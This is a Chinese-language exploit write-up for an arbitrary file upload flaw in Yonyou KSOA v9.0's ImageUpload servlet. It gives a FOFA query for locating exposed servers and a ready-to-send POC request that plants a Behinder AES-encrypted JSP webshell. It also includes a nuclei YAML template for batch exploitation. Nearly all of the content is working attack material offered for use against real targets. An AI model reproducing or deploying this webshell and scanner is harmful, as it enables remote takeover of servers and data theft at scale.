用友时空KSOA ImageUpload文件上传漏洞

漏洞简介

用友时空KSOA平台ImageUpload处存在任意文件上传漏洞，攻击者通过漏洞可以获取服务器权限

影响版本

用友时空企业信息融通平台KSOA v9.0

漏洞复现

fofa语法：app="用友-时空KSOA"
登录页面如下：

POC:

POST /servlet/com.sksoft.bill.ImageUpload?filepath=/&filename=co0fig.jsp HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

默认上传的冰蝎的webshell，使用冰蝎进行连接

nuclei批量yaml文件

id: yonyou_KOSA_ImageUpload_upload
info:
  name: 用友时空KSOA ImageUpload文件上传漏洞
  author: mhb17
  severity: critical
  description: description
  reference:
    - https://
  tags: upload
requests:
  - raw:
      - |-
        POST /servlet/com.sksoft.bill.ImageUpload?filepath=/&filename=co0fig.jsp HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
        Content-Length: 533

        <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - /pictures/co0fig.jsp
      - type: word
        part: header
        words:
          - '200'